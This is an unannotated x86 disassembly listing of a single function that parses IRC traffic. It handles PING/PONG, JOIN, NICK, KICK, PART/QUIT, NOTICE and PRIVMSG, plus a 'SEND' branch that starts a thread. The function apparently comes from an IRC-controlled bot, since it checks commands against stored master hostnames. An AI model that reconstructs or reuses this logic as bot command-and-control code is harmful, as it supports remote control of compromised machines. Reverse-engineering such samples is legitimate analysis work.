var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BF70
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F75
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BF70
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDC4 ; " :"
		push	eax
		call	sub_41C2E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		mov	esi, offset asc_42CDC0 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41CAD4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F75
		cmp	[ebp+var_8C], ebx
		jz	loc_401F75
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDBC ; "!"
		push	eax
		call	sub_41CAD4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a005	; "005"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a302	; "302"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BFD0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40AE84
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9A
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F75
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E8D:				; CODE XREF: sub_401ACD+5F6j
					; sub_401ACD+8B9j ...
		push	[ebp+arg_4]
		call	sub_409823
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_401E9A:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FDD
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC3:				; CODE XREF: sub_401ACD+448j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F10
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F10
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C890
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C8A0
		add	esp, 10h
		mov	edi, 80h


loc_401F10:				; CODE XREF: sub_401ACD+407j
					; sub_401ACD+41Ej
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC3
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F75
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BFD0
		jmp	loc_4036A2
; ---------------------------------------------------------------------------


loc_401F4D:				; CODE XREF: sub_401ACD+46Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F52:				; CODE XREF: sub_401ACD+4A6j
		cmp	[edi], bl
		jz	short loc_401F69
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7D


loc_401F69:				; CODE XREF: sub_401ACD+487j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F52


loc_401F75:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401F77:				; CODE XREF: sub_401ACD+2A1Ej
		pop	eax


loc_401F78:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A40j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F7D:				; CODE XREF: sub_401ACD+49Aj
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F75
		push	eax
		call	sub_41B9C0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F75
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_401F75
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401ACD+3DCj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FFF
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402026


loc_401FFF:				; CODE XREF: sub_401ACD+51Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402004:				; CODE XREF: sub_401ACD+557j
		cmp	[edi], bl
		jz	short loc_40201A
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402067


loc_40201A:				; CODE XREF: sub_401ACD+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402004


loc_402026:				; CODE XREF: sub_401ACD+530j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020C8
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40205A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40205A:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_80]
		push	offset unk_42CCFC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_401ACD+54Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F75
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4020C8:				; CODE XREF: sub_401ACD+56Dj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41CA50
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		cmp	dword_429088, ebx
		jz	loc_409644


loc_40211C:				; CODE XREF: sub_401ACD+615j
					; sub_401ACD+627j
		push	[ebp+var_8C]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402160:				; CODE XREF: sub_401ACD+891j
					; sub_401ACD+8CDj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCC0
		mov	[ebp+arg_8], eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253B
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_A4], ebx
		jz	loc_4023DB
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_1B98]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC84
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset loc_416563
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40228C:				; CODE XREF: sub_401ACD+7D3j
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_40228C
; ---------------------------------------------------------------------------


loc_4022A2:				; CODE XREF: sub_401ACD+65Fj
					; sub_401ACD+675j
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022BB
		mov	[ebp+var_4], 1


loc_4022BB:				; CODE XREF: sub_401ACD+7E5j
		cmp	[ebp+var_88], ebx
		jz	loc_401F75
		push	offset dword_42CC80
		push	[ebp+var_88]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022E2
		cmp	[ebp+var_4], ebx
		jz	short loc_4022EE


loc_4022E2:				; CODE XREF: sub_401ACD+80Ej
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022EE:				; CODE XREF: sub_401ACD+813j
		cmp	[ebp+var_84], ebx
		jz	loc_401F75
		inc	[ebp+var_84]
		jz	short loc_40233A
		cmp	[ebp+arg_10], ebx
		jz	short loc_40233A
